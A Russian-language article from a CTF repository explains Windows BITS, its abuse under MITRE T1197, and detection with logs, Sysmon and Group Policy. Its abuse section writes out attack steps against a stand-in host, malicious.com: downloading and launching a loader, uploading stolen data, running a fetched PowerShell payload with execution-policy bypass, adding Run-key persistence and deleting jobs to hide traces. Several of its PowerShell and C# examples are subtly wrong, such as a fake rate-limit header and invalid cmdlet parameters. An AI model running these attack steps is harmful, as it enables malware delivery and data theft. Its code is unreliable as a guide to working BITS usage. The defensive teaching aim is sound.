Источник: https://github.com/AnaktaCTF/CTF/blob/main — Forensic/bits.md

Что такое BITS?

Background Intelligent Transfer Service (BITS) — это служба Windows, которая позволяет приложениям передавать файлы между клиентом и сервером в фоновом режиме. Она оптимизирует использование сети, регулируя скорость передачи данных, и автоматически возобновляет прерванные загрузки.

Значимость BITS Jobs

BITS Jobs — это задания, которые управляют передачей файлов через BITS. Они широко используются для легитимных целей, таких как обновления Windows и синхронизация данных. Однако злоумышленники могут использовать BITS Jobs для скрытной загрузки вредоносного ПО или передачи данных, что делает их важным объектом изучения в кибербезопасности.

Цель статьи

Цель этой статьи — рассмотреть, как работает BITS, изучить его легитимные применения и понять, как злоумышленники могут злоупотреблять BITS Jobs. Мы также обсудим методы защиты от атак, связанных с использованием BITS, и их значимость для программистов и специалистов по безопасности.

Основы BITS и BITS Jobs

Background Intelligent Transfer Service: обзор

Функции, предоставляемые службой BITS

Background Intelligent Transfer Service (BITS) предоставляет следующие ключевые функции:

  1. Асинхронная передача файлов: BITS позволяет приложениям передавать файлы в фоновом режиме, не мешая работе пользователя.
  2. Оптимизация использования сети: Служба использует неиспользуемую пропускную способность сети, чтобы минимизировать влияние на другие приложения.
  3. Возобновление передачи: Если передача была прервана (например, из-за отключения сети), BITS автоматически возобновляет её с того места, где она остановилась.
  4. Управление приоритетами: Задания BITS могут быть настроены с разными уровнями приоритета, что позволяет управлять порядком выполнения задач.
  5. Поддержка безопасности: BITS использует аутентификацию и шифрование для защиты передаваемых данных.

Как работает передача файлов через BITS

Передача файлов через BITS включает следующие этапы:

  1. Создание задания: Приложение или скрипт создаёт задание BITS с указанием параметров, таких как источник и назначение файлов.
  2. Добавление файлов: В задание добавляются файлы, которые необходимо передать.
  3. Передача данных: BITS начинает передачу файлов, используя неиспользуемую пропускную способность сети.
  4. Завершение задания: После успешной передачи файлов задание завершается, и приложение получает уведомление.

BITS Jobs: механизм работы

Основные компоненты архитектуры BITS

  1. Клиентская часть:
    Приложения или скрипты, которые взаимодействуют с BITS через API или командную строку, создают и управляют заданиями. Клиентская часть определяет параметры заданий, такие как источник, назначение, приоритет и ограничения.

  2. Служба BITS:
    Основной компонент, который отвечает за выполнение заданий. Служба работает в фоновом режиме, управляет очередями заданий, регулирует использование сети и обеспечивает автоматическое возобновление прерванных передач.

  3. Хранилище заданий:
    Все задания BITS сохраняются в локальной базе данных, что позволяет службе отслеживать их состояние и возобновлять выполнение после перезагрузки системы.

  4. Интеграция с сетевыми протоколами:
    BITS использует стандартные сетевые протоколы, такие как HTTP и HTTPS, для передачи данных. Это обеспечивает совместимость с большинством серверов и сетевых инфраструктур.

Параметры задач BITS:

Задачи BITS (BITS Jobs) создаются с использованием API или командной строки. При создании задания можно указать следующие параметры:

  • Имя задания: Уникальный идентификатор задания.
# Указание имени задания
$job = Start-BitsTransfer -DisplayName "MyDownloadJob" -Source "https://example.com/file.zip" -Destination "C:\Downloads\file.zip"
Write-Host "Имя задания: $($job.DisplayName)"
  • Тип задания: Загрузка (download), отправка (upload) или передача (upload-reply).
# Создание задания для загрузки
$job = Start-BitsTransfer -Source "https://example.com/file.zip" -Destination "C:\Downloads\file.zip"
Write-Host "Тип задания: Download"

Различие между типами задач

  1. Загрузка (Download): Передача файлов с удалённого сервера на локальную машину.
  2. Отправка (Upload): Передача файлов с локальной машины на удалённый сервер.
  3. Передача с ответом (Upload-Reply): Передача файлов на сервер с последующим получением ответа.

Каждый тип задачи имеет свои особенности и используется в зависимости от требований приложения.

  • Приоритет: Высокий, нормальный или низкий.
# Установка приоритета задания
$job.Priority = [Microsoft.BackgroundIntelligentTransfer.Management.BitsJobPriority]::High
Write-Host "Приоритет задания: Высокий"
  • Ограничения скорости: Максимальная скорость передачи данных.
# Установка ограничения скорости передачи
$job = Start-BitsTransfer -Source "https://example.com/file.zip" -Destination "C:\Downloads\file.zip"
$job.SetCustomHeaders("BITS-Rate-Limit: 1024") # Ограничение скорости до 1024 байт/сек
Write-Host "Ограничение скорости установлено"
  • Условия завершения: Условия, при которых задание считается завершённым.
# Установка условий завершения
$job = Start-BitsTransfer -Source "https://example.com/file.zip" -Destination "C:\Downloads\file.zip"
$job.Complete()
Write-Host "Задание завершено"

Примеры создания задач BITS:

Пример 1: Загрузка файла с проверкой контрольной суммы

# Создание задания для загрузки файла
$job = Start-BitsTransfer -Source "https://example.com/installer.exe" -Destination "C:\Temp\installer.exe"

# Проверка контрольной суммы после загрузки
$expectedHash = "ABC123DEF456"
$actualHash = (Get-FileHash -Path "C:\Temp\installer.exe" -Algorithm SHA256).Hash
if ($expectedHash -eq $actualHash) {
    Write-Host "Контрольная сумма совпадает. Файл загружен успешно."
} else {
    Write-Host "Контрольная сумма не совпадает. Файл может быть повреждён."
}

Пример 2: Отправка файла с уведомлением по электронной почте

# Создание задания для отправки файла
$job = Add-BitsFile -JobName "UploadReport" -Source "C:\Reports\report.pdf" -Destination "https://example.com/upload"

# Уведомление по электронной почте после завершения
Register-ObjectEvent -InputObject $job -EventName JobTransferred -Action {
    Send-MailMessage -To "admin@example.com" -From "noreply@example.com" -Subject "Файл успешно отправлен" -Body "Отчёт загружен на сервер."
}
$job.Resume()

Пример 3: Передача файла с ответом от сервера

# Создание задания для передачи файла с ответом
$job = Start-BitsTransfer -Source "C:\Data\request.json" -Destination "https://api.example.com/upload-reply" -TransferType UploadReply

# Сохранение ответа сервера
$job.SetReplyFileName("C:\Data\response.json")
$job.Resume()

# Проверка ответа
if (Test-Path "C:\Data\response.json") {
    Write-Host "Ответ от сервера сохранён в response.json"
} else {
    Write-Host "Не удалось получить ответ от сервера."
}

Пример 4: Ограничение скорости передачи для больших файлов

# Создание задания с ограничением скорости
$job = Start-BitsTransfer -Source "https://example.com/largefile.zip" -Destination "C:\Downloads\largefile.zip"
$job.SetCustomHeaders("BITS-Rate-Limit: 1048576") # Ограничение скорости до 1 МБ/сек
$job.Resume()
Write-Host "Задание с ограничением скорости создано."

Пример 5: Автоматическое удаление задания после завершения

# Создание задания для загрузки файла
$job = Start-BitsTransfer -Source "https://example.com/tempfile.zip" -Destination "C:\Temp\tempfile.zip"

# Удаление задания после завершения
Register-ObjectEvent -InputObject $job -EventName JobTransferred -Action {
    Remove-BitsTransfer -BitsJob $job
    Write-Host "Задание удалено после завершения."
}
$job.Resume()

Злоупотребление BITS Jobs

Техника T1197 из MITRE ATT&CK описывает использование BITS Jobs для выполнения вредоносного кода. Злоумышленники могут создавать задания BITS для загрузки и выполнения вредоносных файлов, а также для обеспечения устойчивости атак. Эта техника особенно опасна, так как BITS работает в фоновом режиме и использует системные процессы, что затрудняет её обнаружение.

Кейсы реальных атак

Пример 1: Многоэтапная атака с использованием BITS для загрузки и выполнения вредоносного ПО

Шаги злоумышленников:

  1. Создание задания для загрузки вредоносного загрузчика:
    Злоумышленник создаёт задание BITS для загрузки небольшого загрузчика, который затем скачивает основной вредоносный файл.

    # Загрузка загрузчика
    $job = Start-BitsTransfer -Source "https://malicious.com/loader.exe" -Destination "C:\Temp\loader.exe"
    $job.Resume()
    
  2. Запуск загрузчика для загрузки основного вредоносного файла:
    После завершения загрузки загрузчик запускается и скачивает основной вредоносный файл.

    Start-Process "C:\Temp\loader.exe"
    
  3. Сокрытие активности:
    После выполнения загрузчика задание BITS удаляется, чтобы скрыть следы.

    Remove-BitsTransfer -BitsJob $job
    
  4. Установка устойчивости:
    Основной вредоносный файл добавляется в автозагрузку для обеспечения устойчивости.

    Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousApp" -Value "C:\Temp\malware.exe"
    

Анализ:

  • Цель: Загрузка и выполнение вредоносного ПО через многоэтапный процесс.
  • Методы сокрытия: Удаление задания BITS и использование загрузчика для минимизации подозрений.
  • Рекомендации по защите: Мониторинг активности BITS и проверка автозагрузки на наличие подозрительных записей.

Пример 2: Использование BITS для передачи данных с заражённой системы

Шаги злоумышленников:

  1. Создание задания для отправки данных:
    Злоумышленник использует BITS для отправки украденных данных на удалённый сервер.

    $job = Start-BitsTransfer -Source "C:\SensitiveData\stolen_data.zip" -Destination "https://malicious.com/upload"
    $job.Resume()
    
  2. Маскировка задания:
    Задание получает описание, похожее на системное, чтобы избежать подозрений.

    $job.Description = "Windows Update Data Sync"
    
  3. Автоматическое возобновление передачи:
    Если передача прерывается, задание автоматически возобновляется благодаря встроенным функциям BITS.

  4. Удаление задания после завершения:
    После успешной передачи данных задание удаляется.

    Remove-BitsTransfer -BitsJob $job
    

Анализ:

  • Цель: Передача украденных данных с минимальным риском обнаружения.
  • Методы сокрытия: Маскировка задания под системное и автоматическое удаление после завершения.
  • Рекомендации по защите: Регулярный аудит заданий BITS и мониторинг сетевого трафика.

Пример 3: Использование BITS для цепной атаки через API

Шаги злоумышленников:

  1. Создание задания через BITS API:
    Злоумышленник использует BITS API для создания задания, которое скачивает скрипт PowerShell с удалённого сервера.

    using System;
    using Bits;
    
    class ChainAttack
    {
        static void Main()
        {
            var manager = new BackgroundCopyManager();
            IBackgroundCopyJob job;
    
            // Создание задания BITS
            manager.CreateJob("ChainAttackJob", BG_JOB_TYPE.BG_JOB_TYPE_DOWNLOAD, out job);
            job.AddFile("https://malicious.com/payload.ps1", @"C:\Temp\payload.ps1");
            job.Resume();
    
            Console.WriteLine("Скрипт PowerShell загружен.");
        }
    }
    
  2. Выполнение загруженного скрипта:
    После завершения загрузки скрипт PowerShell выполняется для выполнения дальнейших действий.

    powershell.exe -ExecutionPolicy Bypass -File "C:\Temp\payload.ps1"
    
  3. Дальнейшие действия скрипта:
    Скрипт PowerShell может:

    • Скачивать дополнительные модули.
    • Выполнять команды на заражённой системе.
    • Устанавливать устойчивость.
  4. Удаление задания и временных файлов:
    После выполнения скрипта задание и временные файлы удаляются.

    Remove-BitsTransfer -BitsJob $job
    Remove-Item "C:\Temp\payload.ps1"
    

Анализ:

  • Цель: Выполнение цепной атаки с использованием BITS API и PowerShell.
  • Методы сокрытия: Удаление временных файлов и задания после выполнения.
  • Рекомендации по защите: Ограничение доступа к BITS API и мониторинг выполнения скриптов PowerShell.

Преимущества атак через BITS Jobs

  1. Незаметность для стандартных антивирусов:
    Поскольку BITS работает через системные процессы, такие как svchost.exe, его активность часто не вызывает подозрений у стандартных антивирусных решений. Это позволяет злоумышленникам скрывать свои действия.

  2. Аутентификация и управление через API:
    BITS предоставляет мощный API, который позволяет злоумышленникам создавать, управлять и контролировать задания. Если у атакующего есть доступ к системе, он может использовать этот API для выполнения своих задач без необходимости использования дополнительных инструментов.

  3. Автоматическое возобновление:
    Задания BITS автоматически возобновляются после сбоев, таких как перезагрузка системы или временные проблемы с сетью. Это делает атаки более устойчивыми и сложными для обнаружения.

  4. Гибкость в настройке:
    Возможность задавать приоритеты, ограничения скорости и другие параметры позволяет злоумышленникам адаптировать атаки под конкретные условия, минимизируя вероятность обнаружения.

Методы обнаружения и противодействия

Обнаружение атак

  1. Анализ логов системы Windows:
    Логи Windows могут содержать информацию о создании и выполнении заданий BITS. Используйте Event Viewer для анализа событий, связанных с BITS, например, в разделе "Applications and Services Logs > Microsoft > Windows > Bits-Client".

  2. Настройка средств мониторинга сетевого трафика:
    Инструменты мониторинга, такие как Wireshark или Zeek, могут помочь обнаружить подозрительные подключения к неизвестным доменам или IP-адресам, используемым для загрузки вредоносных файлов.

  3. Использование специализированных инструментов (например, Sysmon):
    Sysmon позволяет отслеживать создание процессов, сетевые подключения и изменения в системе. Настройте Sysmon для мониторинга активности, связанной с svchost.exe и заданиями BITS.

    Пример конфигурации Sysmon для мониторинга BITS:

    <RuleGroup name="BITS Monitoring" groupRelation="or">
        <ProcessCreate onmatch="include">
            <Image condition="contains">svchost.exe</Image>
            <CommandLine condition="contains">bitsadmin</CommandLine>
        </ProcessCreate>
    </RuleGroup>
    

Противодействие

  1. Настройка групповой политики для ограничения BITS Jobs:
    Используйте Group Policy Editor для ограничения доступа к BITS API. Например, можно запретить выполнение bitsadmin.exe для определённых пользователей или групп.

    Пример настройки:

    1. Откройте редактор групповой политики (Group Policy Editor), выполнив команду gpedit.msc.
    2. Перейдите в раздел:
      User Configuration > Administrative Templates > System.
    3. Найдите параметр "Don't run specified Windows applications" (Не запускать указанные приложения Windows).
    4. Включите этот параметр и добавьте bitsadmin.exe в список запрещённых приложений.
    5. Нажмите OK для сохранения изменений.
  2. Удаление задач BITS вручную через PowerShell или командную строку:
    Вы можете вручную удалить подозрительные задания BITS с помощью PowerShell:

    # Получение списка всех заданий BITS
    Get-BitsTransfer
    
    # Удаление подозрительного задания
    Remove-BitsTransfer -BitsJobId <JobId>
    
  3. Автоматизация защиты с использованием скриптов:
    Создайте скрипт для регулярного мониторинга и удаления подозрительных заданий. Например:

    # Скрипт для удаления заданий с подозрительными описаниями
    $jobs = Get-BitsTransfer
    foreach ($job in $jobs) {
        if ($job.Description -like "*malicious*") {
            Remove-BitsTransfer -BitsJob $job
            Write-Host "Удалено подозрительное задание: $($job.DisplayName)"
        }
    }
    

Примеры инструментов

  1. Антивирусные решения и EDR-системы для обнаружения угроз:
    Современные антивирусы и EDR-системы (Endpoint Detection and Response), такие как Microsoft Defender ATP, CrowdStrike или SentinelOne, могут обнаруживать и блокировать подозрительную активность, связанную с BITS.

  2. Утилиты для анализа BITS Jobs:

    • BitsAdmin: Командная утилита для управления заданиями BITS.
      Пример использования:
      bitsadmin /list /allusers
      
    • PowerShell: Инструмент для управления и анализа заданий BITS.
      Пример:
      Get-BitsTransfer | Format-Table -Property DisplayName, Description, State
      
    • Sysinternals Suite: Набор инструментов, таких как Process Monitor, для анализа активности процессов, связанных с BITS.

Заключение

Background Intelligent Transfer Service (BITS) — мощный инструмент для передачи данных, который широко используется в легитимных целях. Однако его возможности могут быть использованы злоумышленниками для выполнения атак. Понимание работы BITS, методов злоупотребления и способов защиты позволяет программистам и специалистам по безопасности эффективно предотвращать угрозы. Совместная работа разработчиков и безопасников, а также использование современных инструментов мониторинга и защиты помогут минимизировать риски, связанные с использованием BITS.

Ссылки

  1. Официальная документация Microsoft по BITS
  2. MITRE ATT&CK: Техника T1197 (BITS Jobs)
  3. Sysinternals Suite
  4. Документация PowerShell по BITS
  5. Исследование злоупотреблений BITS в кибербезопасности
  6. Wireshark: Анализ сетевого трафика
  7. Zeek: Мониторинг сетевой активности